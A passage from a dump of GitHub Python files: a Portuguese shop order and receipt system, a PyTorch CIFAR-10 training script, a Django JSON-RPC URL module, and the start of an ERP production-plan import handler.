listalinha=listalinha.replace('|','?')\n    listalinha=listalinha.replace(',','')\n\n    listalinha=listalinha.replace('(','')\n    listalinha=listalinha.replace('\\'','')\n    listalinha = listalinha.replace(')', '\\n')\n    listalinha = listalinha.replace(' | ', '?')\n    listalinha = listalinha.replace('|', '')\n    listalinha = listalinha.replace('?', ' | ')\n    \n\n\n\n\n    subtotal = total\n    descontodefcpf = desconto_para_clientes_cadastrados(cpflimpo, total)\n    total = total-descontodefcpf\n\n\n\n\n\n    print('PEDIDO')\n    escrever(str(listalinha))\n    escrever('SUBTOTAL:  R$ ' + str(\"%.2f\" % subtotal))\n    escrever('DESCONTO:  R$ ' + str(\"%.2f\" % descontodefcpf))\n    escrever('TOTAL:     R$ ' + str(\"%.2f\" % total))\n\n\n\n    escrever(str())\n\n\n\n    # conferir se esta correto\n    opfinal = '1'\n    escrever(\"CONTINUAR [ENTER] CANCELAR [0]\")\n    opfinal = input(\"\")\n\n    if opfinal == \"\":\n        opfinal = '1'\n    if opfinal == '0':\n        menu()\n\n    # limpar tela\n    limpar()\n\n\n    # escrever na tela\n    escrever('PEDIDO: '+numeropedidovariavel+' SALVO!')\n\n\n    # espera\n    time.sleep(1)\n\n\n\n    # ferificar cpf\n    if len(cpflimpo) < 3:\n        cpflimpo = 'SEM CPF'\n\n\n\n    pedidoitem = ''\n\n\n    for item in lista:\n        pedidoitem = pedidoitem + str(item)\n\n\n\n    tsub=str(subtotal)\n    tdesc=str(descontodefcpf)\n    ttotal=str(total)\n\n\n\n\n\n    # linha para salvar em arquivo\n    linha = (\"p\"+numeropedidovariavel +';'+str(cpflimpo)+';'+ nome +';' + data + ';'+str(tsub)+ ';' +str(tdesc)+ ';' +str(ttotal) +  \"\\n\")\n\n\n\n    # abrir ou criar arquivo\n    arquivo = open('pedidosimples.csv', 'a', newline=\"\", encoding=\"utf8\")\n\n    # escrever linha\n    arquivo.write(\"%s\" % linha)\n\n    # fechar\n    arquivo.close()\n\n\n\n    # chamar pdf\n    gerarpdfdetalhado(nome, numeropedidovariavel, lista,tsub, tdesc,total, data, ddd, tel)\n\n\n\n\n    # string da lista\n    listavariavel = str(lista)\n\n\n    cpf = str(cpflimpo)\n\n\n    \n    # SUBSTITUIR UM SPAÇO | POR NUMERO DO PEDIDO\n    # remover os caracteres da string\n\n\n\n    remover = \"123456789\"\n    for i in range(0, len(remover)):\n        for x in range(0, 10, 1):\n            strremove = str(i)+(' ')\n            listavariavel = listavariavel.replace(strremove,'p' + str(numeropedidovariavel) + '|' + str(cpf) +'|' +str(QTDO))\n            strremove = str(i)+str(x)+' '\n            listavariavel = listavariavel.replace(strremove,'p'+str(numeropedidovariavel) + '|' + str(cpf) +'|'+ str(QTDO))\n\n    # | POR ESPAÇO E SIRGULA POR ESPAÇO\n    remover = \",\"\n    for i in range(0, len(remover)):\n        listavariavel = listavariavel.replace(remover[i], \"\")\n\n    # remover os caracteres da string\n    remover = \"\\'\\\"][,)( \"\n    for i in range(0, len(remover)):\n        listavariavel = listavariavel.replace(remover[i], \"\")\n\n    # remover os caracteres da string\n    remover = \"||||\"\n    listavariavel = listavariavel.replace(remover, \"\\n\")\n\n    # remover os caracteres da string\n    remover = \"||\"\n    listavariavel = listavariavel.replace(remover, \"\")\n\n\n    # pular linha \n    listavariavel = '\\n'+listavariavel\n\n    # remover os caracteres da string\n    remover = \"|p\"\n    listavariavel = listavariavel.replace(remover, \"p\")\n\n    # remover os caracteres da string\n    remover = \"|\"\n    listavariavel = listavariavel.replace(remover,\";\")\n\n\n    # abrir ou criar arquivo\n    arquivo = open('pedidosdetalhe.csv', 'a',encoding=\"utf8\", newline=\"\")\n\n    # escrever linha\n    arquivo.write(\"%s\" % str(listavariavel))\n\n    # fechar\n    arquivo.close()\n\n\n\n\n\n\n\n\n\n\n    # gerar relatorio de produtos mais vendidos\n    #maisvendido(listavariavel)\n\n    #criarhtml(str(numeropedido))\n\n\n\n# gerar relatorio de mais vendidos / produtos mais vendidos\ndef venda_por_produto(n):\n    \n    import io\n    import codecs\n\n    arq = open('pedidosdetalhe.csv', 'r', encoding=\"utf8\")\n    texto = arq.read()\n\n    arq.close()\n\n    dic = dict()\n\n    texto = texto.replace('nome_produto', \"\")\n    # remove letra misnusculas, numeros, espaços, #,#\n    b = \",1234567890a b c d e f g h i j k l m n o p q r s t u v w x y z \\n :\"\n    for i in range(0, len(b)):\n        texto = texto.replace(b[i], \"\")\n\n\n    # remover textos especiais\n    texto = texto.replace('SEMCPF', \"\")\n    texto = texto.replace('p', \"\")\n    texto = texto.replace('LIVRE', \"\")\n    texto = texto.replace('COMCOBERTURAEXTRA', \"\")\n    texto = texto.replace('SEMCOBERTURAEXTRA', \"\")\n    texto = texto.replace(\"\",'')\n\n\n    # separar texto\n    listfile = texto.split(';')\n    listfile2 = listfile\n\n\n\n    for item in listfile:\n        Contitem = 0\n        for i in listfile2:\n            if item == i:\n                Contitem = Contitem + 1\n                dic[i] = Contitem\n\n\n\n    # excluir dic P e DIC ''\n    dic['P'] = 1\n    del dic['P']\n    del dic['']\n\n\n    # str do dic em uma variavel\n    textodic = str(dic)\n\n\n    # remover caracteres\n    b = '\\'}{ '\n    for i in range(0, len(b)):\n        textodic = textodic.replace(b[i], \"\")\n\n\n\n    textodic = textodic.replace(',', \"\\n\")\n\n\n    escrever('PRODUTO | QUANTIDADE \\n'+textodic)\n    continua= input('ENTER PARA CONTINUAR')\n    return menu()\n\n\n# html na tela\ndef criarhtml(numero):\n    pedido = str(numero)\n    # linha para salvar\n    html = '<!DOCTYPE html>\\n<html>\\n<head>\\n<title>'+str(pedido)+'</title>\\n</head>\\n<body>\\n<h1>'+str(pedido)+'</h1>\\n<p>'+str(pedido)+'</p>\\n</body>\\n</html>'\n\n    # abrir ou criar arquivo\n    arquivo = open('index.html', 'a', encoding=\"utf8\")\n\n    # escrever linha\n    arquivo.write(\"%s\" % html)\n\n    # fechar\n    arquivo.close()\n\n    #abrirfoto('h')\n\n# abrir foto no webbrowser\ndef abrirfoto(numero):\n    import webbrowser\n    new = 2;\n\n\n\n    #   [1] CHOCOLATE\n    if numero == 1:\n        url = \"https://uploads.metropoles.com/wp-content/uploads/2018/03/22161224/kopenhagen1.jpg\"\n    #   [2] MISTO\n    if numero == 2:\n        url = \"https://uploads.metropoles.com/wp-content/uploads/2018/03/22161224/kopenhagen1.jpg\"\n    #   [3] CREME\n    if numero == 3:\n        url = \"https://uploads.metropoles.com/wp-content/uploads/2018/03/22161224/kopenhagen1.jpg\"\n    #   [4] triplo chocolate Kopenhagen\n    if numero == 4:\n        url = \"https://uploads.metropoles.com/wp-content/uploads/2018/03/22161224/kopenhagen1.jpg\"\n    #   [5] Kit Kat\n    if numero == 5:\n        url = \"http://s3.id5.com.br/maceioshopping/uploads/2016/07/McFlurryKitKat.jpg\"\n\n    # [e] extra\n    if numero == 'e':\n        url=\"http://caramelodrama.com/wp-content/uploads/2018/01/melting-choc-istock.jpg\"\n\n    # [e] extra\n    if numero == 'h':\n        url = \"file:///home/breno/BRENO/programacao/python/PROJETO%20SORVETERIA/index.html\"\n\n\n    webbrowser.open(url, new=new)\n    time.sleep(2)\n\n# gerar preço total\ndef calcularprecototal(QTDO, SABOR):\n    CONTA = float(0)\n    if SABOR == 1:  # cho 3rs\n        CONTA = float(QTDO * 3.5)\n        escrever('preço 3,50')\n    if SABOR == 2:  # mis 4rs\n        CONTA = float(QTDO * 4)\n        escrever('preço 4,00')\n    if SABOR == 3:  # cre 5rs\n        CONTA = float(QTDO * 4.5)\n        escrever('preço 4,50')\n\n    if SABOR == 4:  # cre 5rs\n        CONTA = float(QTDO * 8.5)\n        escrever('preço 8,50')\n\n    if SABOR == 5:  # cre 5rs\n        CONTA = float(QTDO * 9.0)\n        escrever('preço 9,00')\n\n    return CONTA\n\n# escrever texto\ndef escrever(texto):\n    texto= str(texto)\n    tamanhotexto = len(texto) + 4\n    nomecaixa = texto.upper()\n    print('~' * tamanhotexto)\n    print(\" \", nomecaixa)\n    print('~' * tamanhotexto)\n\n# sair do sistema\ndef sair(d):\n    # limpar\n    limpar()\n    menu()\n\n# gerar numero do pedido\ndef numeropedido(m, h, d, me, an):\n    numero = (h + d + me + an) * m\n    pedido = str(numero)\n    escrever('PEDIDO: ' + pedido)\n    return pedido\n\n# inicio do programa\ndef menu():\n    limpar()\n    op = \"\"\n    while op == \"\":\n        limpar()\n        escrever(\"NOVA VENDA   [1]\")\n        escrever(\"PEDIDO FEITO [2]\")\n        escrever(\"PRODUTOS     [3]\")\n        escrever(\"relatorios   [4]\")\n        op = str(input(''))\n        if op == \"1\" or op == \"2\" or op == \"3\" or op == \"4\":\n            if op == \"2\":\n                return chamarpedido(1)\n            if op == \"1\":\n                return ganhardesconto(1)\n            if op == \"3\":\n                return produto(1)\n            if op == \"4\":\n                return venda_por_produto(1)\n            else:\n                op == \"\"\n\n# tela produto\ndef produto(p):\n    limpar()\n\n    escrever(\"CADASTRAR PRODUTO [1]\")\n    escrever(\"EXCLUIR PRODUTO   [2]\")\n    escrever(\"VOLTAR            [3]\")\n    op = str(input(''))\n    if op == \"1\" or op == \"2\" or op == \"3\":\n        if op == \"1\":\n            return cadastrarproduto(1)\n        if op == \"2\":\n            return excluirproduto(1)\n        if op == \"3\":\n            return menu()\n        else:\n            op == \"\"\n\n# validar nomes\ndef validarnomes(nome):\n    nome = ' '\n    c = 0\n    while len(nome) < 3:\n        if c >= 1:\n            escrever('DIGITE CORRETAMENTE')\n        nome = input('')\n    nomecaixa = nome.upper()\n    return nomecaixa\n\n#cadastrar produto\ndef cadastrarproduto(p):\n    limpar()\n    escrever('CADASTRAR PRODUTO')\n    escrever('NOME DO PRODUTO: ')\n    nome = validarnomes(1)\n\n    nome=nome.replace(' ','_')\n\n\n    valor = 0.0\n    while valor < 0.1:\n        escrever('VALOR DE VENDA')\n        print('EXEMPLO: 5,90')\n        valoaux = input('')\n        valoaux = valoaux.replace(',','.')\n        valor = float(valoaux)\n\n\n    # opcoes de estoque livre ou com quantidade de estoque\n    escrever('cadastrar quantidade do produto? \\n      sim [1] | não [2]')\n    auxopint = input('')\n    opca = int(auxopint)\n    while opca < 1 or opca > 2:\n        opca = int(input(''))\n\n    if opca == 1:\n        escrever('estoque')\n        quantidadeestoque = int(input(''))\n\n    if opca == 2:\n        quantidadeestoque = 'LIVRE'\n\n\n    escrever('CONFIRMAR PRODUTO [1]')\n    escrever('CANCELAR          [2]')\n    op = str(input(''))\n    if op == \"1\" or op == \"2\":\n        if op == \"1\":\n            return confirmarproduto(nome, valor,quantidadeestoque )\n        if op == \"2\":\n            return menu()\n        else:\n            op == \"\"\n\n# verificar produto no txt\ndef confirmarproduto(nome, valor, quantidadeestoque):\n    with open('produtos.txt', encoding=\"utf8\") as f:\n        for l_num, l in enumerate(f, 1):  # percorrer linhas e enumera-las a partir de 1\n            if nome in l:  # ver se palavra esta na linha\n                escrever(nome + ' JÁ ESTÁ CADASTRADO')\n                continua=input('ENTER PARA CONTINUAR')\n                cadastrarproduto(1)\n                break\n\n        else:  # caso não haja break\n\n            # abrir ou criar arquivo\n            arquivo = open('produtos.txt', 'a', encoding=\"utf8\", newline=\"\")\n\n            # criar linha\n            liconfirmarprodutonha = str(nome)+'|'+str(valor)+'|'+str(quantidadeestoque)+'\\n'\n\n\n            # escrever linha\n            arquivo.write(\"%s\" % liconfirmarprodutonha)\n\n            # fechar\n            arquivo.close()\n\n            escrever('PRODUTO CADASTRADO')\n            input('ENTER PARA CONTINUAR')\n\n            produto(1)\n\n# exibir produtos\ndef exibirprodutos(p):\n    limpar()\n    f = open('produtos.txt', 'r', encoding=\"utf8\")\n    n = 0\n    for line in f:\n        n = n + 1\n        print(str(n) +' | '+line)\n    return escrever(str(n)+' PRODUTOS CADASTRADOS')\n\n# validar numero de opcao\ndef validarnumero(numero):\n    numero=10\n    while numero != 0 or numero != 1 or numero != 2 or numero != 3 or numero != 4 or numero != 5 or numero != 6 or numero != 6 or numero != 8 or numero != 9:\n        escrever('OPÇÃO INVALIDA')\n        escrever('DIGITE NOVAMENTE')\n        auxnumero = str(int(''))\n        numero = int(auxnumero)\n\n# add produto no pedido\ndef addproduto(produto):\n    exibirprodutos(1)\n    escrever('NUMERO DO PRODUTO: : ')\n    index_linha = 0\n    index_linha = int(input(''))\n\n    firstLine = ' '\n    arq = open('produtos.txt', 'r', encoding=\"utf8\")\n    texto = arq.readlines()\n    cont = 1\n    for linha in texto:\n        if index_linha == cont:\n            linhadoproduto = linha\n            arq.close()\n\n\n\n            # logica para exluir caracteres\n            # excluir o \"pular linha\"\n            b = \"n\\n\\n\"\n            for i in range(0, len(b)):\n                linhadoproduto = linhadoproduto.replace(b[i], \"\")\n\n\n            return linhadoproduto,\n\n        cont = cont + 1\n    arq.close()\n    return escrever('produto não encontrado')\n\n# excluir produto do txt\ndef excluirproduto(p):\n    exibirprodutos(1)\n    escrever('NUMERO DO PRODUTO ou VOLTAR [0]')\n\n    index_linha = str(input(''))\n    if index_linha == '0':\n        menu()\n\n    index_linha = int(index_linha)- 1\n    path = 'produtos.txt'\n\n    with open(path,'r', encoding=\"utf8\") as f:\n        texto=f.readlines()\n    with open(path,'w', encoding=\"utf8\") as f:\n        for i in texto:\n\n            if texto.index(i)==index_linha:\n                f.write('')\n                escrever('EXCLUIDO!')\n            else:\n                if index_linha == i:\n                    f.write('excluido')\n                else:\n                    f.write(i)\n\n\n    menu()\n\n# diretorio do PDF\ndef meudiretorio(caminho):\n\n    # importar data\n    from datetime import datetime\n    now = datetime.now()\n\n    # criar diretorio\n    #dirTemp = './'+str(now.year)+'/'+str(now.month)+'/'+str(now.day)+'/'\n    dirTemp = './PEDIDOS/'\n    return dirTemp\n\n# gerar um pdf detalhado do pedido para inprimir e dar para o cliente retira no balcao o seu pedido\ndef gerarpdfdetalhado(nome, pedido, lista,tsub, tdesc,valortotal, hora, ddd, tel):\n\n    # enviar via whatsapp\n    limpar()\n    escrever('envar por whatsapp: sim [1] | não [2]')\n    opwhats = int(input(''))\n\n\n    if opwhats == 1:\n\n        if len(str(tel))<3:\n            tel = ''\n            escrever('telefone:')\n            tel = str(input(''))\n\n        enviarporwhatsapp(nome, pedido, lista, tsub, tdesc, valortotal, hora, ddd, tel)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    from reportlab.pdfgen import canvas\n\n    # organizar texto\n    pedidoPDF = 'PEDIDO: ' + str(pedido)\n    nomePDF = 'NOME: ' + str(nome)\n\n\n    sub = 'SUBTOTAL: ' + \"%.2f\" % float(tsub)\n    desc = 'DESCONTO: ' + \"%.2f\" % float(tdesc)\n    valortotalPDF = 'TOTAL: ' +\"%.2f\" % float(valortotal)\n\n\n\n\n    horaPDF = str(hora)\n    listaPDF = 'DESCRIÇÃO: ' + str(lista)\n\n    diretorio=meudiretorio(1)\n\n\n    # escrever no pdf\n    c = canvas.Canvas(diretorio+str(pedido) + '_' + nome + '_' + \"%.2f\" % float(valortotal) + '.pdf')\n    c.drawString(440, 800, str(pedidoPDF))\n    c.drawString(30, 800, str(nomePDF))\n    c.drawString(80, 780, str(sub))\n    c.drawString(200, 780, str(desc))\n    c.drawString(320, 780, str(valortotalPDF))\n    c.drawString(330, 800, str(horaPDF))\n\n\n    tam = 580\n    c.drawString(60, 600, 'DESCRIÇAO: ')\n\n\n    for add in lista:\n        minhalinha = ''\n        add.split(';')\n\n        for um in add:\n            minhalinha = minhalinha + str(um)\n\n        # remover os caracteres da string\n        remover = \"||\"\n        for i in range(0, len(remover)):\n            minhalinha = minhalinha.replace(remover, \"\")\n\n        # remover os caracteres da string\n        remover = \"\\'\\\"][,)( \"\n        for i in range(0, len(remover)):\n            minhalinha = minhalinha.replace(remover[i], \"\")\n\n        # remover os caracteres da string\n        remover = \"|\"\n        for i in range(0, len(remover)):\n            minhalinha = minhalinha.replace(remover[i], \" | \")\n\n        # remover os caracteres da string\n        remover = \".\"\n        for i in range(0, len(remover)):\n            minhalinha = minhalinha.replace(remover[i], \",\")\n\n        c.drawString(70, tam, str(minhalinha))\n        tam = tam - 20\n\n\n\n\n    # salvar no pdf\n    c.save()\n\n\n\n\n\ndef enviarporwhatsapp(nome, pedido, lista, tsub, tdesc, valortotal, hora, ddd, tel):\n\n    tel = '987088707'\n    ddd = '11'\n    numero ='550'+str(ddd)+str(tel)\n    print(numero)\n    driver.get(\"https://api.whatsapp.com/send?1=pt_BR&phone=\"+str('55011987088707'))\n    time.sleep(5)\n    try:\n        driver.switch_to_alert().accept()\n        alert = driver.switch_to.alert()\n        alert.accept()\n    except Exception as e:\n        pass\n\n    time.sleep(3)\n    btn = driver.find_element_by_xpath('//*[@id=\"action-button\"]')\n    btn.click()\n    time.sleep(5)\n\n    escrever = driver.find_element_by_xpath('//*[@id=\"main\"]/footer/div[1]/div[2]/div/div[2]')\n    escrever.click()\n    escrever.send_keys('teste')\n\n\n\n\n\n\n\n\nlimpar()\nescrever('whatsapp: sim [1] | não [2]')\nwhatsapp = int(input(''))\n\n\nif whatsapp == 1:\n    limpar()\n\n    from selenium import webdriver\n\n\n    from selenium.webdriver.common.keys import Keys\n    driver = webdriver.Chrome()\n    driver.get('https://web.whatsapp.com/')\n\n\n\n# não deixar o programa fechar\ncontinua = True\nwhile continua:\n    limpar()\n    menu()\n","repo_name":"DeveloperBreno/Projeto-sistema-Fast-Foot","sub_path":"sistema.py","file_name":"sistema.py","file_ext":"py","file_size_in_byte":24572,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35071819505","text":"import argparse\nfrom datetime import datetime\nimport os\nimport torch\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom model import CNN\nfrom dataset import CIFAR10Dataset\nfrom generals import get_path\n\n# TRAINING_SET = './train_cifar10_100.csv'\n# TRAINING_SET = './train_cifar10_1000.csv'\nTRAINING_SET = './train_cifar10_full.csv'\n\n# TEST_SET = './test_cifar10_1000.csv'\nTEST_SET = './test_cifar10_full.csv'\n\ndef train(args, model, device):\n    epochs, optimizer, lr, batch_size, train_data, test_data, num_workers \\\n        = args.epochs, args.optimizer, args.lr, args.batch_size, args.train_data, args.test_data, args.num_workers\n    \n    train_path = TRAINING_SET if train_data is None else train_data\n    test_path = TEST_SET if test_data is None else test_data\n\n    train_set = CIFAR10Dataset(train_path, training=True)\n    train_loader = DataLoader(train_set, batch_size=batch_size, num_workers=num_workers, shuffle=True)\n\n    model.train()\n\n    criterion = torch.nn.BCEWithLogitsLoss()\n    optim = torch.optim.Adam(model.parameters(), lr=lr)\n    scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optim, epochs)\n    scaler = torch.cuda.amp.GradScaler()\n\n    save_dir = get_path(os.path.join(os.getcwd(), 'runs', args.model_name))\n    save_dir.mkdir(parents=True, exist_ok=True)\n    last, best = save_dir / 'last.pt', save_dir / 'best.pt'\n\n    result = save_dir / 'result.txt'\n\n    nb = len(train_loader)\n\n    best_val_acc = 0\n\n    for epoch in range(epochs):\n\n        pbar = tqdm(enumerate(train_loader), total=nb)\n        \n        for i, (images, labels) in pbar:\n            optim.zero_grad()\n\n            images, labels = images.to(device), labels.to(device)\n            with torch.cuda.amp.autocast():\n                preds = model(images)\n                loss = criterion(preds, labels)\n            \n            scaler.scale(loss).backward()\n            scaler.step(optim)\n            scaler.update()\n\n            pbar.set_description(f'[Training] Loss: {loss:.5f}')\n        \n        scheduler.step()\n\n        val_acc, val_loss = val(args, model, device)\n        \n        if val_acc > best_val_acc:\n            best_val_acc = val_acc\n            \n            print('*'*20)\n            print(f'[New Best Accuracy] {val_acc*100:.5f}% on epoch: {epoch}')\n\n            ckpt = {\n                'epoch': epoch,\n                'accuracy': val_acc,\n                'model': model,\n                'optimizer': optim.state_dict(),\n                'opt': args,\n                'date': datetime.now().isoformat()\n            }\n\n            torch.save(ckpt, best)\n    \n    print(f'Train ended on {epoch}')\n    ckpt = {\n        'epoch': epoch,\n        'accuracy': val_acc,\n        'model': model,\n        'optimizer': optim.state_dict(),\n        'opt': args,\n        'date': datetime.now().isoformat()\n    }\n\n    torch.save(ckpt, last)\n\n    result_txt = f'''\n    Model Name: {args.model_name}\n    Epochs: {epochs}\n    Final loss: {val_loss}\n    Best validation accuracy: {best_val_acc}    \n    '''\n    with open(result, 'w') as f:\n        f.write(result_txt)\n\n\n\n\ndef val(args, model, device):\n    epochs, optimizer, lr, batch_size, train_data, test_data, num_workers \\\n        = args.epochs, args.optimizer, args.lr, args.batch_size, args.train_data, args.test_data, args.num_workers\n\n    test_path = TEST_SET if test_data is None else test_data\n\n    test_set = CIFAR10Dataset(test_path, training=False)\n    test_loader = DataLoader(test_set, batch_size=batch_size, num_workers=num_workers, shuffle=False)\n\n    model.eval()\n\n    criterion = torch.nn.BCEWithLogitsLoss()\n\n    n = len(test_set)    \n    nb = len(test_loader)\n\n    pbar = tqdm(enumerate(test_loader), total=nb)\n\n    loss = 0\n    acc = 0\n    \n    for epoch, (images, labels) in pbar:\n        \n        b = len(images)\n\n        images, labels = images.to(device), labels.to(device)\n        \n        preds = model(images)\n        \n        batch_loss = criterion(preds, labels)\n        batch_acc = torch.sum(torch.argmax(preds, dim=-1)==torch.argmax(labels, dim=-1)) / b\n        loss += criterion(preds, labels) * b\n        acc += batch_acc * b\n\n        pbar.set_description(f'[Validation] Acc: {batch_acc*100:.5f}%, Loss: {batch_loss:.5f}')\n    \n    loss /= n\n    acc /= n\n\n    print(f'[Validation] total accuracy: {acc*100:.5f}%, total loss: {loss:.5f}')\n\n    del test_set, test_loader\n\n    return acc.cpu().detach().numpy(), loss.cpu().detach().numpy()\n\n\n\ndef main(opt):\n    \n    device = torch.device(opt.device)\n    model = CNN().to(device)\n\n    train(opt, model, device)\n    \ndef parse_opt(known=False):\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--epochs', type=int, default=100, help='number of epochs')\n    parser.add_argument('--lr', type=float, default=1e-3, help='learning rate')\n    parser.add_argument('--optimizer', type=str, choices=['SGD', 'Adam', 'AdamW'], default='Adam', help='optimizer')\n    parser.add_argument('--batch-size', type=int, default=16, help='batch size')\n    parser.add_argument('--train-data', type=str, default='./train_cifar10_full.csv', help='ltrain data')\n    parser.add_argument('--test-data', type=str, default='./test_cifar10_full.csv', help='test data')\n    parser.add_argument('--device', type=str, default='cuda:0', help='cuda device, cuda:0 or cpu')\n    parser.add_argument('--num-workers', type=int, default=6, help='number of workers')\n    parser.add_argument('--model-name', type=str, default='CNN_big', help='name to save model')\n\n    return parser.parse_known_args()[0] if known else parser.parse_args()\n\n\ndef run(**kwargs):\n    opt = parse_opt(True)\n    for k, v in kwargs.items():\n        setattr(opt, k, v)\n    main(opt)\n    return opt\n\nif __name__ == \"__main__\":\n    opt = parse_opt()\n    main(opt)","repo_name":"rlaskarl77/ROBOTAI2022FALL","sub_path":"hw5/q2/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15022733202","text":"from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\nfrom .models import Link\nfrom jsonrpc.backend.django import api\nfrom lib import previews\nfrom lib.dubbels import get_all_for_pid\nfrom django.forms.models import model_to_dict\n\nurlpatterns = [\n   url('^(?:model-(?P<model>\\w+))?/?$', views.index, name='index'),\n   path('loading', views.loading, name='loading'),\n   url(r'stats(?:-(?P<model>\\w+))?(?:/(?P<statname>[\\w]+)\\.(?P<format_>\\w{3}))?$', views.stats, name='stats'),\n   url('evaluation(?:/(?P<pid>.+))?$', views.evaluation, name='evaluation'),\n   # url('progress(?:-(?P<model>[a-z]+))?.png$', views.progress, name='progress'),\n   url('^info(?:/model-(?P<model>[^/]+))?/(?P<pid>[^/]+)/?$', views.pid, name='pid'),\n   url('^info(?:/model-(?P<model>[^/]+))?/(?P<pid>[^/]+)/(?P<nmlid>[^/]+)/(?P<words>.+)$', views.info, name='info'),\n]\n\n\n@api.dispatcher.add_method\ndef get_info(pid, words=[], request=None):\n    return previews.get_info(pid, words)\n\n\n@api.dispatcher.add_method\ndef ping(request=None):\n    return 'pong'\n\n\n@api.dispatcher.add_method\ndef update_item(model, pid, nmlid, status, kind, extras, request=None):\n    model = views.get_model(model)\n\n    # update the dubbels as well\n    pids = get_all_for_pid(pid)\n    items = model.objects.filter(pid__in=pids, nmlid=nmlid)\n    items.update(status=status, kind=kind, extras=extras)\n    return len(items)\n\n\n@api.dispatcher.add_method\ndef get_kinds(kind='', model=None, request=None):\n    model = views.get_model(model)\n    return [d['kind'] for d in model.objects.values('kind').distinct()]\n\n\ndef linkmodel_to_dict(model):\n    result = model_to_dict(model)\n    properties = ('url', 'status_class', 'status_text')\n    for prop in properties:\n        result[prop] = getattr(model, prop)\n    return result\n\n\n@api.dispatcher.add_method\ndef get_items(amount=1, model=None, order_by='?', request=None):\n    model = views.get_model(model)\n    links = model.objects.filter(status=model.UNDEFINED, score__lt=0.99).order_by(order_by)[0:amount]\n    return list(map(linkmodel_to_dict, links))\n\n","repo_name":"viaacode/nvdgo-namelinking","sub_path":"pywebserver/attestation/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32943870968","text":"from mg_app_framework import HttpBasicHandler, MesCode, get_logger\nfrom plan_management.handlers.utils import log_exception, get_plan_db_collection, PlanStatusType, PlanType, ErpPlanStatus\nfrom datetime import datetime\nfrom pymongo import ReplaceOne\nimport json\n\n\nclass ErpPlanTransferHandler(HttpBasicHandler):\n    async def post_process(self):\n        \"\"\"\n        url: POST /api/plan_management/erp_plan/transfer\n        发送数据app发往计划管理app数据结构:\n        {\n            \"plan_list\":\n            [\n                {\n                    \"task_no\": \"A181120203-00\", //字段task_serial, 必要字段\n                    \"task_type\": \"常规产品\",  //字段task_type, 可选字段\n                    \"task_date\": \"2019-01-09\", //字段task_date， 可选字段\n                    \"material_code\": \"materiel_t901h40adc12v4_23\", //字段product_code， 必要字段\n                    \"material_name\": \"T901H40ADC12V 4脚 23规格\",  //字段product_name， 必要字段\n                    \"material_spec\": \"NNC\", //字段product_spec, 可选字段\n                    \"material_unit\": \"个\", //字段product_unit， 必要字段\n                    \"plan_count\": 1000,  //字段plan_num， 必要字段\n                    \"plan_no\": \"A181120203-00\",  //字段plan_serial, 可选字段\n                    \"plan_start_date\": \"2019-01-10\", //字段plan_start， 必要字段\n                    \"plan_end_date\": \"2019-01-12\",  //字段plan_end， 必要字段\n                    \"real_start_date\": \"2019-01-10\", //字段real_start, 可选字段\n                    \"real_end_date\": \"2019-01-12\", //字段real_end, 可选字段\n                    \"workshop_name\": \"六车间\",  //字段work_center， 必要字段\n                    \"create_time\": \"2019-01-10\", //字段chage_time， 必要字段\n                    \"erp_plan_status\": \"投放\",  //字段plan_status对应状态文字(1.锁定，2.确认，3.下达，4.投放，5.流转，6.暂停, 7.完工), 可选字段\n                    \"plan_status\": \"可下发\"  //3种状态，可下发，已完成和不可下发, 这个字段值由上一个字段erp_plan_status决定\n                }\n            ]\n        }\n        :return:\n        {\n            \"code\":\"success\",\n            \"info\": \"\",\n            \"data\": null\n        }\n        \"\"\"\n        from plan_management.handlers.sds import get_material_id_code_dict, get_workshop_name_code_dict, get_custom_field_config\n        etl_req_data = json.loads(self.request.body)\n        plan_data_list = etl_req_data['plan_list']\n        plan_collection = get_plan_db_collection()\n        try:\n            if plan_data_list:\n                material_id_code_dict = get_material_id_code_dict()\n                workshop_name_code_dict = get_workshop_name_code_dict()\n                custom_field_config = get_custom_field_config()\n                plan_upsert_list = []\n                for plan_data in plan_data_list:\n                    task_no = plan_data['task_no']\n                    existing_plan = await plan_collection.find_one({'task_no': task_no})\n                    # 处理定制字段, 如果一个定制字段对应的计划不存在，且该字段不在请求数据字段中，则置空\n                    if custom_field_config:\n                        for field_code in custom_field_config:\n                            if not existing_plan and field_code not in plan_data:\n                                plan_data[field_code] = ''\n\n                    # ERP传过来的物料编码对应主数据内的物料编号，需要转为对应的物料编码\n                    # 暂时完全使用erp过来的编码，后期如果有需求更新再改\n                    # material_identifier = plan_data['material_code']\n                    # if material_identifier in material_id_code_dict:\n                    #     material_code = material_id_code_dict[material_identifier]\n                    # else:\n                    #     # 如果物料编码找不到则直接保存\n                    #     material_code = material_identifier\n                    # plan_data['material_code'] = material_code\n\n                    # 获取车间编码\n                    workshop_name = plan_data['workshop_name']\n                    workshop_code = workshop_name_code_dict[workshop_name]\n                    plan_data['workshop_code'] = workshop_code\n\n                    # ERP传过来的计划状态需要转为计划管理内部的状态值\n                    plan_status = plan_data['plan_status']\n                    if plan_status == ErpPlanStatus.can_dispatch.value:\n                        plan_data['plan_status'] = PlanStatusType.not_dispatched.value\n                    elif plan_status == ErpPlanStatus.cant_dispatch.value:\n                        plan_data['plan_status'] = PlanStatusType.cant_dispatch.value\n                    elif plan_status == ErpPlanStatus.finished.value:\n                        plan_data['plan_status'] = PlanStatusType.finished.value\n\n                    # 添加其他必须字段\n                    plan_data['comment'] = ''\n                    plan_data['product_line_code'] = ''\n                    plan_data['operator'] = ''\n                    # 录入时间写入当前时间\n                    if not existing_plan:\n                        # 仅当该计划不存在时写入录入时间\n                        plan_data['create_time'] = str(datetime.now())\n                        plan_data['modified_time'] = ''\n                    else:\n                        # 如果该计划已存在，则需要更新修改时间\n                        plan_data['modified_time'] = str(datetime.now())\n                    plan_data['dispatch_time'] = ''\n                    plan_data['qualified_count'] = 0\n                    plan_data['unqualified_count'] = 0\n                    plan_data['plan_type'] = PlanType.erp_import.value\n\n                    update_query = {'task_no': task_no}\n                    plan_upsert_data = 